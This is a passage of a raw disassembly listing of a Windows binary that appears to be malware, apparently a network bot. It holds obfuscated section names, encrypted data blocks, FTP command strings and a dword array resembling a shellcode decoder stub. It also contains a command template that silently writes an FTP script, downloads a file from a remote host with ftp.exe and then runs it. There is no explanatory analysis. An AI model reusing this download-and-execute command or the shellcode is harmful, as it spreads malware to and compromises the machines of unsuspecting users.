64h ; DATA XREF: _294ADE7B:004298C6o dword_43F9C8 dd 455A4953h, 732520h, 0 ; DATA XREF: _294ADE7B:0042989Do dword_43F9D4 dd 4D54444Dh, 732520h, 0 ; DATA XREF: _294ADE7B:00429986o dword_43F9E0 dd 4F544E52h, 732520h, 0 ; DATA XREF: _294ADE7B:00429AF1o dword_43F9EC dd 52464E52h, 732520h, 0 ; DATA XREF: _294ADE7B:00429AC9o dword_43F9F8 dd 454C4544h, 732520h, 0 ; DATA XREF: _294ADE7B:00429B8Eo aQuit db 'QUIT',0 ; DATA XREF: sub_429BE0+10o align 4 dword_43FA0C dd 1 ; DATA XREF: sub_42B600+Cr ; sub_42B600+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_42C420+13o align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_42C420+6o align 10h aA_0: ; DATA XREF: sub_42EBA0+36o unicode 0, <€>,0 dd 12h dup(0) dword_43FA8C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h ; DATA XREF: _294ADE7B:0042F9E6o ; _294ADE7B:0042FC40o ... dd 0F9E243h, 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: _294ADE7B:0042FE6Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Bh dup(0) off_43FB90 dd offset off_437100 ; DATA XREF: _8C6BDE73:off_437238o ; _8C6BDE73:00437274o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 85h dup(0) byte_43FDC8 db 0 ; DATA XREF: sub_41A020+76o ; sub_41A020+C0o ... align 10h dword_43FDD0 dd 0 ; DATA XREF: _294ADE7B:0040C0AAr ; sub_40C310+DEw align 8 dword_43FDD8 dd 0 ; DATA XREF: _294ADE7B:0040C0D5w dd 49h dup(0) dword_43FF00 dd 0 ; DATA XREF: _294ADE7B:0040C0C1w ; _294ADE7B:loc_40C164r ... dword_43FF04 dd 0 ; DATA XREF: _294ADE7B:0040C09Cr ; sub_40C310+D7w dword_43FF08 dd 0 ; DATA XREF: _294ADE7B:0040C08Fr ; sub_40C310+CAw dword_43FF0C dd 0 ; DATA XREF: sub_40C310+BDw ; sub_40C310+E3r dd 11h dup(0) dword_43FF54 dd 0 ; DATA XREF: sub_40EB00+47Dr dword_43FF58 dd 0 ; DATA XREF: sub_40EB00+515r ; sub_4108D0+C0r ... dword_43FF5C dd 0 ; DATA XREF: sub_40EB00+655r ; sub_40EB00+72Ar ... dword_43FF60 dd 0 ; DATA XREF: sub_40EB00+B79r ; _294ADE7B:loc_4112B8r dword_43FF64 dd 0 ; DATA XREF: sub_40EB00+74Br dword_43FF68 dd 0 ; DATA XREF: sub_40EB00+828r dword_43FF6C dd 0 ; DATA XREF: sub_40EB00+77Cr dword_43FF70 dd 0 ; DATA XREF: sub_40EB00+4DDr ; sub_40EB00+5B2r ... dword_43FF74 dd 0 ; DATA XREF: sub_40EB00+311r dword_43FF78 dd 0 ; DATA XREF: sub_40EB00+34Dr ; sub_40EB00+1068r dword_43FF7C dd 0 ; DATA XREF: sub_40EB00+33Dr dword_43FF80 dd 0 ; DATA XREF: sub_40EB00+3D2r dword_43FF84 dd 0 ; DATA XREF: sub_40EB00+E93r dword_43FF88 dd 0 ; DATA XREF: sub_40EB00+1220r ; sub_4108D0+319r dword_43FF8C dd 0 ; DATA XREF: sub_4108D0+4DAr dword_43FF90 dd 0 ; DATA XREF: sub_40EB00+683r dword_43FF94 dd 0 ; DATA XREF: sub_40EB00+6B5r dword_43FF98 dd 0 ; DATA XREF: sub_40EB00+1252r dd 5 dup(0) dword_43FFB0 dd 10h dup(0) ; DATA XREF: sub_41AA60+4Fo ; sub_41AA60+9Eo ... db 2 dup(0) byte_43FFF2 db 0 ; DATA XREF: sub_409590r sub_409600r align 4 db 3 dup(0) byte_43FFF7 db 0 ; DATA XREF: sub_40C310+10Fr db 0 byte_43FFF9 db 0 ; DATA XREF: sub_40C8A0r align 4 dd 44h dup(0) db 3 dup(0) byte_44010F db 0 ; DATA XREF: _294ADE7B:0041D3CEo db 3 dup(0) byte_440113 db 0 ; DATA XREF: _294ADE7B:loc_41DE6Dr dd 2Ch dup(0) word_4401C4 dw 0 ; DATA XREF: sub_40EB00+1E1r align 4 dd 78h dup(0) db 0 byte_4403A9 db 3 dup(0) ; DATA XREF: _294ADE7B:0042373Bo ; _294ADE7B:00423747o ... dd 11h dup(0) db 2 dup(0) word_4403F2 dw 0 ; DATA XREF: sub_41ACE0+4A5o ; sub_41ACE0+A33o dd 3Ch dup(0) db 3 dup(0) dword_4404E7 dd 0 ; DATA XREF: sub_41D500+49r ; sub_41D500+154r ... align 4 dd 35h dup(0) db 0 byte_4405C1 db 0 ; DATA XREF: sub_41A020+18r align 4 dd 12h dup(0) SEH_412160 dd 11h dup(0) ; DATA XREF: sub_412160+2o db 3 dup(0) byte_440653 db 0 ; DATA XREF: sub_40C310:loc_40C69Fr dd 12h dup(0) byte_44069C db 0 ; DATA XREF: sub_40EB00+842r align 10h dd 0Bh dup(0) dword_4406CC dd 18h dup(0) ; DATA XREF: sub_41BE00+67Ao db 2 dup(0) byte_44072E db 0 ; DATA XREF: sub_404890+258r ; sub_41BE00+671r align 10h dd 11h dup(0) db 3 dup(0) byte_440777 db 0 ; DATA XREF: sub_404890:loc_404B00r ; sub_41BE00:loc_41C489r dd 0Bh dup(0) db 3 dup(0) byte_4407A7 db 0 ; DATA XREF: sub_41BE00+692o ; _294ADE7B:0041E108o ... dd 12h dup(0) dword_4407F0 dd 2Bh dup(0) ; DATA XREF: sub_41D500+183o ; sub_41D500+630o dword_44089C dd 0 ; DATA XREF: sub_426770+1r dd 0ECh dup(0) byte_440C50 db 0 ; DATA XREF: sub_41D500+146r ; sub_41D500+5EEr align 4 dd 3EDh dup(0) dword_441C08 dd 86h dup(0) ; DATA XREF: sub_41BE00+67Fo ; sub_41BE00+697o ... db 3 dup(0) byte_441E23 db 0 ; DATA XREF: sub_4252A0+3Bw ; sub_425310+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_442023 dd 0 ; DATA XREF: sub_4252A0+18w ; sub_425310+4Fw ... dword_442027 dd 0 ; DATA XREF: _294ADE7B:00422360r ; _294ADE7B:004227ADw ... dword_44202B dd 0 ; DATA XREF: sub_4252A0+26w ; sub_425310+5Dr ... dword_44202F dd 0 ; DATA XREF: sub_4252A0+2Dw ; sub_425310+8Cr ... dword_442033 dd 0 ; DATA XREF: sub_4252A0+34w ; sub_425310+9Dr dword_442037 dd 0 ; DATA XREF: _294ADE7B:004227C8w ; _294ADE7B:004227E1r ... byte_44203B db 0 ; DATA XREF: sub_4252A0+42w ; sub_425310+85w dd 1Bh dup(0) db 3 dup(0) byte_4420AB db 0 ; DATA XREF: _294ADE7B:00411A94o dd 0DA9h dup(0) dword_445750 dd 10EFh dup(0) ; DATA XREF: _5AD6BD6B:off_43F97Co db 3 dup(0) byte_449B0F db 0 ; DATA XREF: sub_4178D0+140o dd 1E3h dup(0) db 0 byte_44A29D db 3 dup(0) ; DATA XREF: sub_40AD70+FAo dd 0F5h dup(0) dword_44A674 dd 0 ; DATA XREF: sub_40EB00+E3Ar dd 0CB8h dup(0) db 3 dup(0) byte_44D95B db 0 ; DATA XREF: sub_40EB00+1175o dd 1C6h dup(0) db 2 dup(0) word_44E076 dw 0 ; DATA XREF: sub_40EB00:loc_40F469o dd 2C1h dup(0) dword_44EB7C dd 0 ; DATA XREF: sub_40DE40+50r dd 1032h dup(0) db 2 dup(0) word_452C4A dw 0 ; DATA XREF: sub_4064B0+125o dd 84h dup(0) db 2 dup(0) word_452E5E dw 0 ; DATA XREF: sub_40DB00+6Ao dd 1FEh dup(0) dword_453658 dd 15D6h dup(0) ; DATA XREF: sub_404890+135o dword_458DB0 dd 1Ah dup(0) ; DATA XREF: sub_403BE0+1D7o db 0 byte_458E19 db 3 dup(0) ; DATA XREF: sub_40E390+4CCo dd 275h dup(0) db 0 byte_4597F1 db 3 dup(0) ; DATA XREF: sub_4064B0+DEo dd 365h dup(0) db 3 dup(0) byte_45A58B db 0 ; DATA XREF: sub_40EB00+380o dd 865h dup(0) db 2 dup(0) word_45C722 dw 0 ; DATA XREF: _294ADE7B:00407771o dd 245h dup(0) db 2 dup(0) word_45D03A dw 0 ; DATA XREF: _294ADE7B:0040AAF5o dd 103Bh dup(0) db 0 byte_461129 db 3 dup(0) ; DATA XREF: sub_40EB00+F02o dd 1301h dup(0) db 0 byte_465D31 db 3 dup(0) ; DATA XREF: sub_40EB00:loc_40EB89o dd 0A3Dh dup(0) db 2 dup(0) word_46862A dw 0 ; DATA XREF: sub_4111F0+1Eo dd 3F3h dup(0) db 3 dup(0) byte_4695FB db 0 ; DATA XREF: sub_416AE0:loc_416B20o dd 1B2h dup(0) db 3 dup(0) dword_469CC7 dd 0 ; DATA XREF: sub_409600+Cr align 4 dd 91Ch dup(0) dword_46C13C dd 0 ; DATA XREF: _294ADE7B:00419D22r dd 12E3h dup(0) db 2 dup(0) word_470CCE dw 0 ; DATA XREF: sub_40E390+323o dd 6 dup(0) SEH_4064B0 dd 1B1h dup(0) ; DATA XREF: sub_4064B0+2o db 0 byte_4713AD db 3 dup(0) ; DATA XREF: _294ADE7B:0040DFE4o dd 261h dup(0) dword_471D34 dd 153h dup(0) ; DATA XREF: _294ADE7B:0040C110o dword_472280 dd 0CCBh dup(0) ; DATA XREF: _294ADE7B:004076E9o db 2 dup(0) SEH_4038B0 dw 0 ; DATA XREF: sub_4038B0+2o dd 0DDEh dup(0) db 3 dup(0) dword_478D2B dd 0 ; DATA XREF: sub_416AE0+18Br align 10h dd 1CAEh dup(0) dword_47FFE8 dd 1EE2h dup(0) ; DATA XREF: sub_407E8F+3FAo db 3 dup(0) byte_487B73 db 0 ; DATA XREF: sub_410430+165o dd 2ABh dup(0) db 3 dup(0) dword_488623 dd 0 ; DATA XREF: sub_420EC0+31w ; sub_425540+13o align 4 dd 44h dup(0) db 3 dup(0) byte_48873B db 0 ; DATA XREF: sub_41BE00+1D5o ; sub_41BE00+22Bo ... dd 5 dup(0) db 2 dup(0) byte_488752 db 0 ; DATA XREF: sub_404890+292w ; sub_404890+4EEw dword_488753 dd 0 ; DATA XREF: sub_421170:loc_4218F9r ; sub_421170:loc_4219CBr align 4 dd 0 db 3 dup(0) dword_48875F dd 0 ; DATA XREF: sub_404840+Cr ; sub_404840+2Aw align 4 dd 2Fh dup(0) db 3 dup(0) byte_488823 db 0 ; DATA XREF: sub_4254D0+16o ; sub_425500+19o db 3 dup(0) byte_488827 db 0 ; DATA XREF: sub_425400+4Co dd 83h dup(0) db 2 dup(0) dword_488A36 dd 0 ; DATA XREF: sub_421170+E5r align 4 dd 4Bh dup(0) db 2 dup(0) byte_488B6A db 0 ; DATA XREF: sub_426A30:loc_426AE0r ; sub_427080:loc_427135r ... align 4 dd 3Fh dup(0) db 0 dword_488C69 dd 0 ; DATA XREF: sub_427080+7Dw ; sub_427080+15Dw align 10h dd 229h dup(0) dword_489514 dd 870h dup(0) ; DATA XREF: sub_404890+261o dword_48B6D4 dd 90Dh dup(0) ; DATA XREF: sub_4108D0+76o db 2 dup(0) word_48DB0A dw 0 ; DATA XREF: sub_403BE0+189o dd 954h dup(0) dword_49005C dd 59Fh dup(0) ; DATA XREF: _5AD6BD6B:off_43BD88o db 2 dup(0) word_4916DA dw 0 ; DATA XREF: sub_4108D0+13Bo dd 1AF9h dup(0) db 3 dup(0) byte_4982C3 db 0 ; DATA XREF: sub_426E00+1Do dd 257h dup(0) db 3 dup(0) byte_498C23 db 0 ; DATA XREF: sub_426E00+2Fo dd 15Dh dup(0) db 0 byte_499199 db 3 dup(0) ; DATA XREF: sub_413AD0+169o dd 2Eh dup(0) byte_499254 db 0 ; DATA XREF: sub_404890+299w ; sub_40EB00:loc_40EB42r ... align 4 dd 14h dup(0) db 0 byte_4992A9 db 0 ; DATA XREF: _294ADE7B:0041DE61w ; _294ADE7B:0041DE77w ... db 0 byte_4992AB db 0 ; DATA XREF: sub_41BE00+341o ; sub_41BE00+40Bo ... dd 3FBh dup(0) db 2 dup(0) word_49A29A dw 0 ; DATA XREF: sub_40C310+29o dd 0CD3h dup(0) db 0 byte_49D5E9 db 3 dup(0) ; DATA XREF: _294ADE7B:off_401EA6o dd 2457h dup(0) db 3 dup(0) byte_4A674B db 0 ; DATA XREF: sub_40EB00+D82o dd 226h dup(0) db 2 dup(0) word_4A6FE6 dw 0 ; DATA XREF: sub_40EB00+1338o dd 0DBDh dup(0) db 0 byte_4AA6DD db 3 dup(0) ; DATA XREF: _294ADE7B:004134B1o dd 250h dup(0) dword_4AB020 dd 1000h dup(0) ; DATA XREF: sub_4181B0+35o dword_4AF020 dd 333h dup(0) ; DATA XREF: _294ADE7B:0041810Fo ; _294ADE7B:00418188o dword_4AFCEC dd 0 ; DATA XREF: sub_4186E0+12r ; sub_4186E0+1Br ... dd 2 dup(0) dword_4AFCF8 dd 0 ; DATA XREF: sub_41E060+66o ; _294ADE7B:0041E10Dw ... dword_4AFCFC dd 0 ; DATA XREF: sub_41E060+13w ; sub_41E060+2Aw ... dword_4AFD00 dd 0 ; DATA XREF: _294ADE7B:0041E121w dword_4AFD04 dd 0 ; DATA XREF: sub_41E060+43w ; _294ADE7B:0041E12Bw dword_4AFD08 dd 0 ; DATA XREF: _294ADE7B:0041E131w dword_4AFD0C dd 0 ; DATA XREF: sub_41E060+52w ; _294ADE7B:0041E137w ... dword_4AFD10 dd 0 ; DATA XREF: sub_41E060+57w ; _294ADE7B:0041E13Dw ... dword_4AFD14 dd 0 ; DATA XREF: _294ADE7B:0041F374w ; _294ADE7B:0041F379o dword_4AFD18 dd 0 ; DATA XREF: sub_41E060+Dr ; sub_41E060:loc_41E084r ... dword_4AFD1C dd 0 ; DATA XREF: sub_41E060:loc_41E0C1r ; _294ADE7B:0041E151w dword_4AFD20 dd 0 ; DATA XREF: sub_41EB00+2Dw ; sub_41EB00+41w ... dword_4AFD24 dd 0 ; DATA XREF: sub_41EB00+5Aw ; sub_41EB00+7Fr dword_4AFD28 dd 0 ; DATA XREF: sub_41EB00+78w ; sub_41EB00+92r ... dword_4AFD2C dd 0 ; DATA XREF: sub_41EB00+85w ; sub_41EB00+148r dd 3 dup(0) dword_4AFD3C dd 0 ; DATA XREF: _294ADE7B:0041A870o ; _294ADE7B:0041A875o dword_4AFD40 dd 0 ; DATA XREF: sub_421170+5Br ; sub_421E10+5r ... dword_4AFD44 dd 0 ; DATA XREF: _294ADE7B:00422367r ; _294ADE7B:004225A1r ... dd 1Dh dup(0) db 3 dup(0) SEH_416AE0 db 0 ; DATA XREF: sub_416AE0+8o dd 53Bh dup(0) dword_4B12AC dd 35h dup(0) ; DATA XREF: sub_4064B0+F4o db 0 byte_4B1381 db 3 dup(0) ; DATA XREF: sub_40EB00+A54o dd 23Fh dup(0) dword_4B1C80 dd 6 dup(0) ; DATA XREF: _294ADE7B:0042240Co ; _294ADE7B:004224A2o ... dword_4B1C98 dd 196h dup(0) ; DATA XREF: sub_421D50+62o ; sub_421D50+6Do dword_4B22F0 dd 0 ; DATA XREF: sub_423580+9Ar word_4B22F4 dw 0 ; DATA XREF: sub_423580+A9r align 4 word_4B22F8 dw 0 ; DATA XREF: sub_422CE0+11o ; sub_425960+10r ... align 4 word_4B22FC dw 0 ; DATA XREF: sub_4239C0+45r ; sub_423DF0+DAr align 10h dword_4B2300 dd 0 ; DATA XREF: _294ADE7B:00424C22r ; sub_425960+1Cr ... byte_4B2304 db 0 ; DATA XREF: sub_425960+3Ar ; _294ADE7B:00425C10r align 4 byte_4B2308 db 0 ; DATA XREF: sub_425140:loc_4251A0r ; sub_425140+97w align 4 byte_4B230C db 0 ; DATA XREF: _294ADE7B:00425EDCo ; _294ADE7B:00425F1Bo ... align 10h dd 4Ch dup(0) dword_4B2440 dd 0 ; DATA XREF: sub_425960+45r word_4B2444 dw 0 ; DATA XREF: sub_425960+26r align 4 dword_4B2448 dd 0 ; DATA XREF: sub_426A30+4Bw ; sub_426A30+D9r dword_4B244C dd 0 ; DATA XREF: sub_426A30+31w ; sub_426A30+45r dword_4B2450 dd 0 ; DATA XREF: sub_426A30+3Ew ; sub_426A30+54r ... align 8 dword_4B2458 dd 80h dup(0) ; DATA XREF: sub_426E00+AAo ; sub_426E00+129o dword_4B2658 dd 0 ; DATA XREF: sub_426E00+FFo dword_4B265C dd 0 ; DATA XREF: sub_426E00+118w dd 1Dh dup(0) dword_4B26D4 dd 0 ; DATA XREF: sub_427CB0:loc_427CEAr ; sub_427CB0:loc_427D46r ... dword_4B26D8 dd 0 ; DATA XREF: sub_42C420+19w ; sub_42C420+2Dr ... dword_4B26DC dd 0 ; DATA XREF: sub_42C4A0r sub_42C540r ... dword_4B26E0 dd 0 ; DATA XREF: _294ADE7B:loc_42B2D0r ; sub_42B410r ... dword_4B26E4 dd 0 ; DATA XREF: sub_42A620r ; sub_42A620+2Fr ... dword_4B26E8 dd 0 ; DATA XREF: sub_42A850:loc_42A952r ; sub_42A850+111w ... dword_4B26EC dd 0 ; DATA XREF: sub_42A850+EDr ; sub_42A850+F6r ... dword_4B26F0 dd 0 ; DATA XREF: _294ADE7B:loc_42B52Ew ; _294ADE7B:loc_42B550r dword_4B26F4 dd 0 ; DATA XREF: _294ADE7B:0042A0EEr ; sub_42C180+2Cr ... dd 0Ah dup(0) dword_4B2720 dd 10h dup(0) ; DATA XREF: sub_42B320+1o ; sub_42B320:loc_42B350o ... dword_4B2760 dd 8 dup(0) ; DATA XREF: sub_42A6E0+1o ; sub_42A6E0+25o ... dword_4B2780 dd 8 dup(0) ; DATA XREF: sub_42B830+1o ; sub_42B830+25o ... dword_4B27A0 dd 8 dup(0) ; DATA XREF: sub_42C660+6Do ; sub_42C700+84o ... dword_4B27C0 dd 8 dup(0) ; DATA XREF: sub_42C660+66o ; sub_42C700+8Bo ... dword_4B27E0 dd 9 dup(0) ; DATA XREF: sub_42A850:loc_42A92Bo ; sub_42A850:loc_42A967o ... dword_4B2804 dd 4 dup(0) ; DATA XREF: sub_4303E4:loc_4303F9o dword_4B2814 dd 0 ; DATA XREF: sub_4303E4r ; sub_4303E4+1Ao align 800h _5AD6BD6B ends ; Section 4. (virtual address 000B3000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 000B3000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write CEF7B5AD segment para public 'BSS' use32 assume cs:CEF7B5AD ;org 4B3000h assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing dd 11C252EBh, 39814FFCh, 0F00D31CDh, 0E201DA0Bh, 67341E78h dd 0C66B419Fh, 814E7759h, 0E08D5D09h, 72D5C454h, 5F1583h dd 9C61A18Ch, 79BAEF27h, 0F9CB0ED5h, 0A8D57F09h, 0E2762FA8h dd 1ABCC40Bh, 684CA2B4h, 954636A1h, 9B1EB464h, 546953A8h dd 0CEB6DBC3h, 0AE964349h, 0FBD84DE1h, 37791F0Dh, 0DEF87A4Ch dd 3020A9Ch, 9B774124h, 0EFC16B56h, 5D2CC9EFh, 7EFA0B31h dd 136E1B35h, 8F583A90h, 71E18455h, 473BB7A8h, 98CD7D33h dd 89CF39AAh, 0A35FB484h, 0AAF06F2Bh, 0E04A4A97h, 70723A68h dd 244A4442h, 9BABAB9Fh, 9D53894Fh, 89455B86h, 0E0B8CD2Ah dd 0CDB0A7FDh, 9398C6CDh, 80FBEBF3h, 926A1A37h, 16BC71A5h dd 0B71349DAh, 0F3C18DB7h, 0CE7F43BFh, 99E8206h, 1F3A2785h dd 0AFFD15E0h, 0F7F20C40h, 9BE4D7DBh, 0CCAFF673h, 0E3D87718h dd 9F862CF1h, 1014AA4h, 0C5E56291h, 0A01A0149h, 5D1E179Eh dd 0E1ABF7C4h, 6A7ACB96h, 0A62469F1h, 7305116Ah, 0C883CE89h dd 83159A72h, 5D77D20h, 6EC54EF7h, 0EDDDCED7h, 497D4EACh dd 5A43EEFEh, 761CC960h, 440442B2h, 1ADEA37Ch, 7CBFF95Ah dd 313E439Fh, 0AE2143B1h, 87EFA3ACh, 7F7A4BD0h, 0C8889834h dd 0E0615083h, 2ACB2CA4h, 0B750AC6Eh, 0DCEF0543h, 0CFBDEE56h dd 0FB21BBEEh, 0A7D53BAEh, 0DF313DD0h, 0DF50BB58h, 47B3E592h dd 0E7BAC1h, 12D75BB6h, 5CAFF5D9h, 1FBB8CF4h, 5CF8B9A0h dd 1BEA735Ah, 0D5A5B64Eh, 8096C58Ah, 3DAFAF91h, 0F836DD03h dd 4931CF07h, 96BD3CB5h, 0E6463A82h, 0FBA29E9h, 6DB372E1h dd 0F80AC9BEh, 0ED9256EBh, 0BB7653F3h, 20EEFC09h, 0A6F020D4h dd 66B4B711h, 88492909h, 8CE2E8Eh, 0E452CE06h, 0B817321Dh dd 0CCB3366Fh, 8BF6533Fh, 0FC618251h, 4CF69D55h, 1299AC96h dd 5F0D38EBh, 7E454C53h, 26A822D6h, 6D9E3B42h, 0C9C19033h dd 14695B45h, 0B24B939Ch, 3B122EACh, 71395866h, 571F6B12h dd 0B0220309h, 59DF29AEh, 62EC4825h, 18F20D19h, 8A963FDEh dd 6981034Eh, 476F8AD5h, 9FF51D73h, 7BE2CDD3h, 0A267D484h dd 0FE14C1Bh, 0F80A0949h, 9B9256EBh, 2B32FC95h, 0B799270Eh dd 7088A22Bh, 44A3F2B9h, 0FF7BB7D3h, 0DDB8A9FEh, 0CB30BFDDh dd 6EF2E9BBh, 576C1325h, 70A9A93Eh, 0EEDD7434h, 0C051021Eh dd 0A21EC6CAh, 0D05B194Dh, 0BA27D39Eh, 7C61E09Ah, 0C8891FD7h dd 0FE422EE6h, 65242211h, 8C244AB3h, 0E22120E1h, 532A14DCh dd 0CFCD8555h, 113945D9h, 753EE3h, 272B07FEh, 40A204h dd 4F314A6Ah, 48EB3EB6h, 22CFB400h, 85E68354h, 0A6D4BF0Fh dd 92233B69h, 5F795693h, 63BB915Fh, 0B010F1E2h, 293C3267h dd 28454F78h, 0E775D2F1h, 0C8D09097h, 10896C12h, 5AB59E2Ch dd 14A6581h, 321E1F01h, 26717E12h, 71855FCCh, 47F370FFh dd 0DCED3CF1h, 46A70375h, 0D9D4E65Ch, 0FE6C22ABh, 3813C5DEh dd 76F7E84Bh, 2F6117C3h, 72DFCAEAh, 4F560853h, 8F753EEBh dd 25F7EC95h, 181282F0h, 2F31D970h, 136C949h, 64E0CA7Ah dd 862D5A9Dh, 0F24ED404h, 937740B1h, 4F2894E8h, 77A63BFBh dd 8CE29FEh, 1D6F6106h, 1AC3ADDEh, 368469D1h, 0A553C67Ch dd 15E2906Dh, 8BC824F1h, 0A7362687h, 0B6394717h, 0A897932Eh dd 0C2C8487Bh, 0B80629E4h, 7EC236E7h, 5BE30B47h, 0CA3ACF23h dd 894C2C87h, 0F97D6946h, 0FB3222B3h, 0F6454A82h, 0A6C04EF4h dd 81793B8Bh, 89579B36h, 735A01BFh, 3E3FF93Bh, 0EC1E351Bh dd 0AA5EC7C6h, 64700F57h, 37FB2473h, 2543D162h, 3E32F989h dd 10956B4Eh, 0A556F484h, 0A9A6EAC7h, 603E81CBh, 4523D2B3h dd 49C229FEh, 17554E22h, 2B13E317h, 0D0214522h, 0ECFA4287h dd 0B79CF2D7h, 0ABA79B7Fh, 0E588DD68h, 5EFB35A1h, 84379581h dd 0DD30FD42h, 0DE17CACCh, 0F80871F8h, 0E43956EBh, 0E9987290h dd 8819070Ah, 53A557A8h, 0E88ACEEh, 0A63C0FB8h, 54F4B64Fh dd 432B8752h, 5764B6EBh, 210E840Ch, 8BA62CDBh, 0DA208553h dd 539AF389h, 81055AEFh, 35F273D2h, 0D5F0006Bh, 8117FE4Ch dd 213A5999h, 8A5BDA7Ch, 0BB4661BFh, 68FAFF29h, 0DDCD40D9h dd 48A57387h, 893CC303h, 0BC2883C9h, 0F4237BAh, 99859E3Dh dd 4C95A74Eh, 805D01Fh, 899143CEh, 827AE914h, 75A4E0FCh dd 271FE733h, 0A98F736Dh, 0E2ADF08Bh, 7B0CC154h, 38F58912h dd 63A4BBA6h, 0C82ACBA3h, 0A3872CA2h, 0D2EA44E1h, 73CA968Dh dd 34BCBF2h, 2710DF03h, 0FC372AEBh, 0B68158B3h, 6DD7E1DBh dd 17FDF435h, 0B5827D77h, 18C96D11h, 0F94C432Ch, 9C3615D1h dd 0D5C6B2B8h, 2D9A1B58h, 9EABF03Fh, 66EC6DE8h, 0DC304DD3h dd 0BDBCF4C3h, 0CAE64381h, 0A068AF85h, 48EE345Fh, 32AA7B46h dd 0CE2005ECh, 697E4385h, 90894875h, 46800756h, 7B916C9Eh dd 663C3EB7h, 0A7A0FA43h, 77FD2C23h, 0D077A166h, 7F2C813Dh dd 9F148B52h, 2E9CFE2h, 4D6B9B9Dh, 36FBDED8h, 6CB7F717h dd 7071AD27h, 30E231DFh, 0BAF8772Eh, 2149EF1Ch, 1E8EBD6h dd 9F30B18Ch, 8AA28F67h, 0E8FAFED6h, 0DDE7E502h, 51862878h dd 414C6EC7h, 269FC05h, 2FAA9BDEh, 88B7F35Fh, 462B8206h dd 62F13DD1h, 0E3BEA3D8h, 4EA8B4EFh, 3705D506h, 0F5C4AA6Eh dd 8A4E56F5h, 5563953Eh, 88A0850Ah, 937BF162h, 11ED1861h dd 313D534Bh, 243E7A4Dh, 539FA87Fh, 8946F441h, 29154F06h dd 73EAF42Bh, 0D01A0E32h, 495B79Ch, 0D5B0BA78h, 57D3EC26h dd 0F0384F13h, 358233A6h, 69355700h, 0DA82731Ah, 35648FFAh dd 73F0F935h, 0AC0C7045h, 70763063h, 0B80DF8FEh, 3A269D83h dd 9BB91170h, 3BD29967h, 72D99F8Fh, 2DABE0FCh, 0FE868AC3h dd 94E2CC50h, 224624A5h, 0D90739F9h, 0CA378E3Bh, 4C794AEBh dd 753BD871h, 9F398322h, 26DD6DD6h, 797C6A24h, 0E227D64Eh dd 1CC34D99h, 6D87DABCh, 0EB9C7736h, 0BD3BDF1Dh, 33929869h dd 7EF8D75Fh, 0DC381A8Fh, 1FB4D2BCh, 0EEB52F21h, 3345534Bh dd 0CEDF5C2Dh, 0F9BEF088h, 269A504Ah, 0A2D23E1Dh, 8D99E24Eh dd 0FC48889Ah, 587B5BFAh, 0A98A4F65h, 4916AF5Eh, 87B46ED2h dd 0DC410250h, 0C14C9E86h, 3118A4Dh, 2490310Ah, 38137E77h dd 0AE209A72h, 0E6710E6Bh, 0CBD2593Ah, 0B5362E5Fh, 6919416Eh dd 0D29D732Eh, 0BDBCA2C6h, 4EDFAA8Ah, 0A24F941Fh, 7FEA22C1h dd 0F37A2862h, 0D6911174h, 0D6354AB6h, 21172AD4h, 0A99175E2h dd 0A4DAF5Eh, 0E246427Fh, 0A8CB2CA4h, 92F57697h, 94ADFC38h dd 6373A460h, 435CB2C4h, 68AC3C25h, 0F7F43886h, 0B764D7DBh dd 1C4DFBAFh, 0A24F94FCh, 0A6A93A43h, 168CADD2h, 7D361399h dd 0DE394BB6h dword_4B3720 dd 1A892EDCh ; DATA XREF: sub_41E9A0+22r ; _294ADE7B:004309E4r dword_4B3724 dd 70F5AE79h ; DATA XREF: sub_41E9A0+28r ; _294ADE7B:004309DEr dword_4B3728 dd 0EC241227h ; DATA XREF: sub_41E9A0+46r ; _294ADE7B:004309D8r dword_4B372C dd 903DCCDEh ; DATA XREF: sub_41EDB0+219r ; _294ADE7B:004309EAr dword_4B3730 dd 51000552h ; DATA XREF: sub_404890+E3Dr ; sub_40D530+24Cr ... dword_4B3734 dd 4708EE60h ; DATA XREF: sub_41E9A0+71r ; _294ADE7B:004309D2r dword_4B3738 dd 0B6BE48CFh ; DATA XREF: sub_41E6C0+D1r ; sub_41EDB0+31Cr ... dword_4B373C dd 0F39E4982h ; DATA XREF: sub_41E1D0+49r ; _294ADE7B:004309C6r dword_4B3740 dd 456CF264h ; DATA XREF: _294ADE7B:0041E149r ; _294ADE7B:004309C0r dword_4B3744 dd 0A4013F45h ; DATA XREF: sub_41E060+76r ; _294ADE7B:0041E174r ... dword_4B3748 dd 93D1C406h ; DATA XREF: _294ADE7B:004309B4r dword_4B374C dd 1B9DA595h ; DATA XREF: sub_41E8D0+35r ; _294ADE7B:004309AEr dword_4B3750 dd 0C7BBA90Dh ; DATA XREF: sub_41E8D0+5Er ; _294ADE7B:004309A8r dword_4B3754 dd 0D9EAFBA9h ; DATA XREF: sub_41E8D0+52r ; _294ADE7B:004309A2r dword_4B3758 dd 416802AFh ; DATA XREF: sub_41E8D0+11r ; sub_41EDB0+26r ... dword_4B375C dd 8856B8Ah ; DATA XREF: _294ADE7B:00430996r dword_4B3760 dd 0BEEE89B3h ; DATA XREF: sub_40DB00+D7r ; sub_40DB00+15Er ... dword_4B3764 dd 0D4348AFEh ; DATA XREF: _294ADE7B:0043098Ar dword_4B3768 dd 3F5C2BD2h ; DATA XREF: sub_40CFB0+22Cr ; sub_40D530+22Cr ... dword_4B376C dd 0B2165607h ; DATA XREF: _294ADE7B:0043097Er dword_4B3770 dd 26EC3569h ; DATA XREF: sub_404890+D65r ; sub_41E6C0+B3r ... dword_4B3774 dd 0A467FE9Dh ; DATA XREF: _294ADE7B:00430972r dword_4B3778 dd 81820F66h ; DATA XREF: sub_404890+DE4r ; sub_40D530+25Ar ... dd 3735ED27h, 0F7B8309Fh, 